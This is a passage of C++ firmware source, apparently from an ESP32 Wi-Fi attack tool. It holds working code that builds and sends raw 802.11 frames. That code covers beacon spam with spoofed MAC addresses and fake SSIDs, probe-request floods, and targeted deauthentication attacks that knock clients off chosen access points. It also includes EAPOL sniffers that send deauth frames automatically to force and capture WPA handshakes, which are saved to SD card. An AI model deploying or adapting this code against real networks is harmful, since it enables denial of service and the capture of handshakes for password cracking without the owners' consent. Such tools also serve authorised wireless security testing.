  2056. if (custom_ssid.beacon->size() == 0)
  2057. return;
  2058. // Randomize SRC MAC
  2059. // Randomize SRC MAC
  2060. packet[10] = packet[16] = random(256);
  2061. packet[11] = packet[17] = random(256);
  2062. packet[12] = packet[18] = random(256);
  2063. packet[13] = packet[19] = random(256);
  2064. packet[14] = packet[20] = random(256);
  2065. packet[15] = packet[21] = random(256);
  2066. char ESSID[custom_ssid.essid.length() + 1] = {};
  2067. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2068. int realLen = strlen(ESSID);
  2069. int ssidLen = random(realLen, 33);
  2070. int numSpace = ssidLen - realLen;
  2071. //int rand_len = sizeof(rand_reg);
  2072. int fullLen = ssidLen;
  2073. packet[37] = fullLen;
  2074. // Insert my tag
  2075. for(int i = 0; i < realLen; i++)
  2076. packet[38 + i] = ESSID[i];
  2077. for(int i = 0; i < numSpace; i++)
  2078. packet[38 + realLen + i] = 0x20;
  2079. /////////////////////////////
  2080. packet[50 + fullLen] = set_channel;
  2081. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2082. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2083. // Add everything that goes after the SSID
  2084. //for(int i = 0; i < 12; i++)
  2085. // packet[38 + fullLen + i] = postSSID[i];
  2086. packet[34] = custom_ssid.beacon->get(0);
  2087. packet[35] = custom_ssid.beacon->get(1);
  2088. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2089. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2090. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2091. packets_sent = packets_sent + 3;
  2092. }
  2093. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  2094. set_channel = custom_ssid.channel;
  2095. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2096. delay(1);
  2097. // Randomize SRC MAC
  2098. packet[10] = packet[16] = custom_ssid.bssid[0];
  2099. packet[11] = packet[17] = custom_ssid.bssid[1];
  2100. packet[12] = packet[18] = custom_ssid.bssid[2];
  2101. packet[13] = packet[19] = custom_ssid.bssid[3];
  2102. packet[14] = packet[20] = custom_ssid.bssid[4];
  2103. packet[15] = packet[21] = custom_ssid.bssid[5];
  2104. char ESSID[custom_ssid.essid.length() + 1] = {};
  2105. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2106. int ssidLen = strlen(ESSID);
  2107. //int rand_len = sizeof(rand_reg);
  2108. int fullLen = ssidLen;
  2109. packet[37] = fullLen;
  2110. // Insert my tag
  2111. for(int i = 0; i < ssidLen; i++)
  2112. packet[38 + i] = ESSID[i];
  2113. /////////////////////////////
  2114. packet[50 + fullLen] = set_channel;
  2115. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2116. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2117. // Add everything that goes after the SSID
  2118. for(int i = 0; i < 12; i++)
  2119. packet[38 + fullLen + i] = postSSID[i];
  2120. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2121. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2122. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2123. packets_sent = packets_sent + 3;
  2124. }
  2125. // Function to send beacons with random ESSID length
  2126. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  2127. set_channel = random(1,12);
  2128. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2129. delay(1);
  2130. // Randomize SRC MAC
  2131. packet[10] = packet[16] = random(256);
  2132. packet[11] = packet[17] = random(256);
  2133. packet[12] = packet[18] = random(256);
  2134. packet[13] = packet[19] = random(256);
  2135. packet[14] = packet[20] = random(256);
  2136. packet[15] = packet[21] = random(256);
  2137. int ssidLen = strlen(ESSID);
  2138. //int rand_len = sizeof(rand_reg);
  2139. int fullLen = ssidLen;
  2140. packet[37] = fullLen;
  2141. // Insert my tag
  2142. for(int i = 0; i < ssidLen; i++)
  2143. packet[38 + i] = ESSID[i];
  2144. /////////////////////////////
  2145. packet[50 + fullLen] = set_channel;
  2146. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2147. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2148. // Add everything that goes after the SSID
  2149. for(int i = 0; i < 12; i++)
  2150. packet[38 + fullLen + i] = postSSID[i];
  2151. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2152. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2153. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2154. packets_sent = packets_sent + 3;
  2155. }
  2156. // Function for sending crafted beacon frames
  2157. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  2158. set_channel = random(1,12);
  2159. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2160. delay(1);
  2161. // Randomize SRC MAC
  2162. packet[10] = packet[16] = random(256);
  2163. packet[11] = packet[17] = random(256);
  2164. packet[12] = packet[18] = random(256);
  2165. packet[13] = packet[19] = random(256);
  2166. packet[14] = packet[20] = random(256);
  2167. packet[15] = packet[21] = random(256);
  2168. packet[37] = 6;
  2169. // Randomize SSID (Fixed size 6. Lazy right?)
  2170. packet[38] = alfa[random(65)];
  2171. packet[39] = alfa[random(65)];
  2172. packet[40] = alfa[random(65)];
  2173. packet[41] = alfa[random(65)];
  2174. packet[42] = alfa[random(65)];
  2175. packet[43] = alfa[random(65)];
  2176. packet[56] = set_channel;
  2177. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2178. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2179. // Add everything that goes after the SSID
  2180. for(int i = 0; i < 12; i++)
  2181. packet[38 + 6 + i] = postSSID[i];
  2182. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2183. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2184. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2185. packets_sent = packets_sent + 3;
  2186. }
  2187. // Function to send probe flood to all "active" access points
  2188. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  2189. // Itterate through all access points in list
  2190. for (int i = 0; i < access_points->size(); i++) {
  2191. // Check if active
  2192. if (access_points->get(i).selected) {
  2193. this->set_channel = access_points->get(i).channel;
  2194. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2195. delay(1);
  2196. // Build packet
  2197. // Randomize SRC MAC
  2198. prob_req_packet[10] = random(256);
  2199. prob_req_packet[11] = random(256);
  2200. prob_req_packet[12] = random(256);
  2201. prob_req_packet[13] = random(256);
  2202. prob_req_packet[14] = random(256);
  2203. prob_req_packet[15] = random(256);
  2204. // Set SSID length
  2205. int ssidLen = access_points->get(i).essid.length();
  2206. //int rand_len = sizeof(rand_reg);
  2207. int fullLen = ssidLen;
  2208. prob_req_packet[25] = fullLen;
  2209. // Insert ESSID
  2210. char buf[access_points->get(i).essid.length() + 1] = {};
  2211. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  2212. for(int i = 0; i < ssidLen; i++)
  2213. prob_req_packet[26 + i] = buf[i];
  2214. /*
  2215. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  2216. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  2217. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  2218. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  2219. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  2220. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2221. 0x00, 0x00
  2222. */
  2223. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  2224. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  2225. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  2226. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  2227. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  2228. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2229. 0x00, 0x00, 0x00, 0x00};
  2230. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  2231. for (int i = 0; i < 26 + fullLen; i++)
  2232. good_probe_req_packet[i] = prob_req_packet[i];
  2233. for(int i = 0; i < 40; i++)
  2234. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  2235. // Send packet
  2236. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2237. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2238. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2239. packets_sent = packets_sent + 3;
  2240. }
  2241. }
  2242. }
  2243. void WiFiScan::sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]) {
  2244. WiFiScan::set_channel = channel;
  2245. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2246. delay(1);
  2247. // Build AP source packet
  2248. deauth_frame_default[4] = mac[0];
  2249. deauth_frame_default[5] = mac[1];
  2250. deauth_frame_default[6] = mac[2];
  2251. deauth_frame_default[7] = mac[3];
  2252. deauth_frame_default[8] = mac[4];
  2253. deauth_frame_default[9] = mac[5];
  2254. deauth_frame_default[10] = bssid[0];
  2255. deauth_frame_default[11] = bssid[1];
  2256. deauth_frame_default[12] = bssid[2];
  2257. deauth_frame_default[13] = bssid[3];
  2258. deauth_frame_default[14] = bssid[4];
  2259. deauth_frame_default[15] = bssid[5];
  2260. deauth_frame_default[16] = bssid[0];
  2261. deauth_frame_default[17] = bssid[1];
  2262. deauth_frame_default[18] = bssid[2];
  2263. deauth_frame_default[19] = bssid[3];
  2264. deauth_frame_default[20] = bssid[4];
  2265. deauth_frame_default[21] = bssid[5];
  2266. // Send packet
  2267. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2268. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2269. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2270. packets_sent = packets_sent + 3;
  2271. // Build AP dest packet
  2272. deauth_frame_default[4] = bssid[0];
  2273. deauth_frame_default[5] = bssid[1];
  2274. deauth_frame_default[6] = bssid[2];
  2275. deauth_frame_default[7] = bssid[3];
  2276. deauth_frame_default[8] = bssid[4];
  2277. deauth_frame_default[9] = bssid[5];
  2278. deauth_frame_default[10] = mac[0];
  2279. deauth_frame_default[11] = mac[1];
  2280. deauth_frame_default[12] = mac[2];
  2281. deauth_frame_default[13] = mac[3];
  2282. deauth_frame_default[14] = mac[4];
  2283. deauth_frame_default[15] = mac[5];
  2284. deauth_frame_default[16] = mac[0];
  2285. deauth_frame_default[17] = mac[1];
  2286. deauth_frame_default[18] = mac[2];
  2287. deauth_frame_default[19] = mac[3];
  2288. deauth_frame_default[20] = mac[4];
  2289. deauth_frame_default[21] = mac[5];
  2290. // Send packet
  2291. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2292. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2293. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2294. packets_sent = packets_sent + 3;
  2295. }
  2296. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  2297. // Itterate through all access points in list
  2298. // Check if active
  2299. WiFiScan::set_channel = channel;
  2300. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2301. delay(1);
  2302. // Build packet
  2303. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2304. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2305. deauth_frame_default[10] = bssid[0];
  2306. deauth_frame_default[11] = bssid[1];
  2307. deauth_frame_default[12] = bssid[2];
  2308. deauth_frame_default[13] = bssid[3];
  2309. deauth_frame_default[14] = bssid[4];
  2310. deauth_frame_default[15] = bssid[5];
  2311. deauth_frame_default[16] = bssid[0];
  2312. deauth_frame_default[17] = bssid[1];
  2313. deauth_frame_default[18] = bssid[2];
  2314. deauth_frame_default[19] = bssid[3];
  2315. deauth_frame_default[20] = bssid[4];
  2316. deauth_frame_default[21] = bssid[5];
  2317. // Send packet
  2318. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2319. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2320. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2321. packets_sent = packets_sent + 3;
  2322. }
  2323. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2324. // Itterate through all access points in list
  2325. for (int i = 0; i < access_points->size(); i++) {
  2326. // Check if active
  2327. if (access_points->get(i).selected) {
  2328. this->set_channel = access_points->get(i).channel;
  2329. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2330. delay(1);
  2331. // Build packet
  2332. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2333. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2334. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2335. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2336. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2337. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2338. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2339. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2340. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2341. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2342. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2343. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2344. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2345. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2346. // Send packet
  2347. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2348. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2349. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2350. packets_sent = packets_sent + 3;
  2351. }
  2352. }
  2353. }
  2354. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2355. {
  2356. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2357. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2358. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2359. int len = snifferPacket->rx_ctrl.sig_len;
  2360. String display_string = "";
  2361. #ifdef HAS_SCREEN
  2362. int buff = display_obj.display_buffer->size();
  2363. #else
  2364. int buff = 0;
  2365. #endif
  2366. if (type == WIFI_PKT_MGMT)
  2367. {
  2368. len -= 4;
  2369. int fctl = ntohs(frameControl->fctl);
  2370. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2371. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2372. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2373. #ifndef MARAUDER_MINI
  2374. if (snifferPacket->payload[0] == 0x80)
  2375. {
  2376. num_beacon++;
  2377. }
  2378. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2379. {
  2380. num_deauth++;
  2381. }
  2382. else if (snifferPacket->payload[0] == 0x40)
  2383. {
  2384. num_probe++;
  2385. }
  2386. #endif
  2387. char addr[] = "00:00:00:00:00:00";
  2388. getMAC(addr, snifferPacket->payload, 10);
  2389. display_string.concat(addr);
  2390. int temp_len = display_string.length();
  2391. #ifdef HAS_SCREEN
  2392. for (int i = 0; i < 40 - temp_len; i++)
  2393. {
  2394. display_string.concat(" ");
  2395. }
  2396. //Serial.print(" ");
  2397. #ifdef MARAUDER_MINI
  2398. if (display_obj.display_buffer->size() == 0)
  2399. {
  2400. display_obj.loading = true;
  2401. display_obj.display_buffer->add(display_string);
  2402. display_obj.loading = false;
  2403. }
  2404. #endif
  2405. #endif
  2406. addPacket(snifferPacket, len);
  2407. }
  2408. }
  2409. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2410. {
  2411. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2412. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2413. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2414. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2415. int len = snifferPacket->rx_ctrl.sig_len;
  2416. String display_string = "";
  2417. if (type == WIFI_PKT_MGMT)
  2418. {
  2419. len -= 4;
  2420. int fctl = ntohs(frameControl->fctl);
  2421. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2422. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2423. }
  2424. #ifdef HAS_SCREEN
  2425. int buff = display_obj.display_buffer->size();
  2426. #else
  2427. int buff = 0;
  2428. #endif
  2429. // Found beacon frame. Decide whether to deauth
  2430. if (send_deauth) {
  2431. if (snifferPacket->payload[0] == 0x80) {
  2432. // Build packet
  2433. uint8_t new_packet[26] = {
  2434. 0xc0, 0x00, 0x3a, 0x01,
  2435. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2436. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2437. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2438. 0xf0, 0xff, 0x02, 0x00
  2439. };
  2440. new_packet[10] = snifferPacket->payload[10];
  2441. new_packet[11] = snifferPacket->payload[11];
  2442. new_packet[12] = snifferPacket->payload[12];
  2443. new_packet[13] = snifferPacket->payload[13];
  2444. new_packet[14] = snifferPacket->payload[14];
  2445. new_packet[15] = snifferPacket->payload[15];
  2446. new_packet[16] = snifferPacket->payload[10];
  2447. new_packet[17] = snifferPacket->payload[11];
  2448. new_packet[18] = snifferPacket->payload[12];
  2449. new_packet[19] = snifferPacket->payload[13];
  2450. new_packet[20] = snifferPacket->payload[14];
  2451. new_packet[21] = snifferPacket->payload[15];
  2452. // Send packet
  2453. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2454. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2455. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2456. delay(1);
  2457. }
  2458. }
  2459. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2460. num_eapol++;
  2461. Serial.println("Received EAPOL:");
  2462. char addr[] = "00:00:00:00:00:00";
  2463. getMAC(addr, snifferPacket->payload, 10);
  2464. display_string.concat(addr);
  2465. int temp_len = display_string.length();
  2466. #ifdef HAS_SCREEN
  2467. for (int i = 0; i < 40 - temp_len; i++)
  2468. {
  2469. display_string.concat(" ");
  2470. }
  2471. Serial.print(" ");
  2472. #ifdef MARAUDER_MINI
  2473. if (display_obj.display_buffer->size() == 0)
  2474. {
  2475. display_obj.loading = true;
  2476. display_obj.display_buffer->add(display_string);
  2477. display_obj.loading = false;
  2478. }
  2479. #endif
  2480. #endif
  2481. // for (int i = 0; i < len; i++) {
  2482. // char hexCar[4];
  2483. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2484. // Serial.print(hexCar);
  2485. //Serial.print(snifferPacket->payload[i], HEX);
  2486. // if ((i + 1) % 16 == 0)
  2487. // Serial.print("\n");
  2488. // else
  2489. // Serial.print(" ");
  2490. // }
  2491. // Serial.print("\n");
  2492. }
  2493. addPacket(snifferPacket, len);
  2494. }
  2495. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2496. {
  2497. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2498. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2499. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2500. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2501. int len = snifferPacket->rx_ctrl.sig_len;
  2502. if (type == WIFI_PKT_MGMT)
  2503. {
  2504. len -= 4;
  2505. int fctl = ntohs(frameControl->fctl);
  2506. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2507. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2508. }
  2509. // Found beacon frame. Decide whether to deauth
  2510. if (snifferPacket->payload[0] == 0x80) {
  2511. // Build packet
  2512. //Serial.println("Recieved beacon frame");
  2513. uint8_t new_packet[26] = {
  2514. 0xc0, 0x00, 0x3a, 0x01,
  2515. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2516. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2517. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2518. 0xf0, 0xff, 0x02, 0x00
  2519. };
  2520. new_packet[10] = snifferPacket->payload[10];
  2521. new_packet[11] = snifferPacket->payload[11];
  2522. new_packet[12] = snifferPacket->payload[12];
  2523. new_packet[13] = snifferPacket->payload[13];
  2524. new_packet[14] = snifferPacket->payload[14];
  2525. new_packet[15] = snifferPacket->payload[15];
  2526. new_packet[16] = snifferPacket->payload[10];
  2527. new_packet[17] = snifferPacket->payload[11];
  2528. new_packet[18] = snifferPacket->payload[12];
  2529. new_packet[19] = snifferPacket->payload[13];
  2530. new_packet[20] = snifferPacket->payload[14];
  2531. new_packet[21] = snifferPacket->payload[15];
  2532. // Send packet
  2533. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2534. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2535. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2536. delay(1);
  2537. }
  2538. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2539. num_eapol++;
  2540. Serial.println("Received EAPOL:");
  2541. // for (int i = 0; i < len; i++) {
  2542. // char hexCar[3];
  2543. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2544. // Serial.print(hexCar);
  2545. //Serial.print(snifferPacket->payload[i], HEX);
  2546. // if ((i + 1) % 16 == 0)
  2547. // Serial.print("\n");
  2548. // else
  2549. // Serial.print(" ");
  2550. // }
  2551. // Serial.print("\n");
  2552. }
  2553. addPacket(snifferPacket, len);
  2554. }
  2555. void WiFiScan::addPacket(wifi_promiscuous_pkt_t *snifferPacket, int len) {
  2556. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2557. if (save_packet) {
  2558. #ifdef WRITE_PACKETS_SERIAL
  2559. buffer_obj.addPacket(snifferPacket->payload, len);
  2560. #else
  2561. sd_obj.addPacket(snifferPacket->payload, len);
  2562. #endif
  2563. }
  2564. }
  2565. #ifdef HAS_SCREEN
  2566. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2567. {
  2568. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2569. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2570. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2571. {
  2572. currentTime = millis();
  2573. do_break = false;
  2574. y_pos_x = 0;
  2575. y_pos_y = 0;
  2576. y_pos_z = 0;
  2577. boolean pressed = false;
  2578. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2579. // Do the touch stuff
  2580. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2581. if (pressed) {
  2582. Serial.print("Got touch | X: ");
  2583. Serial.print(t_x);
  2584. Serial.print(" Y: ");
  2585. Serial.println(t_y);
  2586. }
  2587. // Check buttons for presses
  2588. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2589. {
  2590. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2591. {
  2592. display_obj.key[b].press(true);
  2593. } else {
  2594. display_obj.key[b].press(false);
  2595. }
  2596. }
  2597. // Which buttons pressed
  2598. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2599. {
  2600. if (display_obj.key[b].justPressed())
  2601. {
  2602. Serial.println("Bro, key pressed");
  2603. //do_break = true;
  2604. }
  2605. if (display_obj.key[b].justReleased())
  2606. {
  2607. do_break = true;
  2608. // Channel - button pressed
  2609. if (b == 4) {
  2610. if (set_channel > 1) {
  2611. Serial.println("Shit channel down");
  2612. set_channel--;
  2613. delay(70);
  2614. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2615. //display_obj.tftDrawXScaleButtons(x_scale);
  2616. //display_obj.tftDrawYScaleButtons(y_scale);
  2617. display_obj.tftDrawChannelScaleButtons(set_channel);
  2618. display_obj.tftDrawExitScaleButtons();
  2619. changeChannel();
  2620. break;
  2621. }
  2622. }
  2623. // Channel + button pressed
  2624. else if (b == 5) {
  2625. if (set_channel < MAX_CHANNEL) {
  2626. Serial.println("Shit channel up");
  2627. set_channel++;
  2628. delay(70);
  2629. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2630. //display_obj.tftDrawXScaleButtons(x_scale);
  2631. //display_obj.tftDrawYScaleButtons(y_scale);
  2632. display_obj.tftDrawChannelScaleButtons(set_channel);
  2633. display_obj.tftDrawExitScaleButtons();
  2634. changeChannel();
  2635. break;
  2636. }
  2637. }
  2638. else if (b == 6) {
  2639. Serial.println("Exiting packet monitor...");
  2640. this->StartScan(WIFI_SCAN_OFF);
  2641. //display_obj.tft.init();
  2642. this->orient_display = true;
  2643. return;
  2644. }
  2645. }
  2646. }
  2647. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2648. //Serial.println("-----------------------------------------");
  2649. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2650. x_pos += x_scale;
  2651. initTime = millis();
  2652. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2653. if (y_pos_x >= HEIGHT_1) {
  2654. Serial.println("Max EAPOL number reached. Adjusting...");
  2655. num_eapol = 0;
  2656. }
  2657. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2658. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2659. //Serial.println("num_beacon: " + (String)num_beacon);
  2660. //Serial.println("num_deauth: " + (String)num_deauth);
  2661. //Serial.println(" num_probe: " + (String)num_probe);
  2662. //num_beacon = 0;
  2663. //num_probe = 0;
  2664. //num_deauth = 0;
  2665. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2666. //Plot "X" value
  2667. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2668. //Plot "Z" value
  2669. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2670. //Plot "Y" value
  2671. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2672. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2673. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2674. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2675. {
  2676. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2677. }
  2678. else
  2679. {
  2680. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2681. }
  2682. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2683. //if (x_pos <= 90)
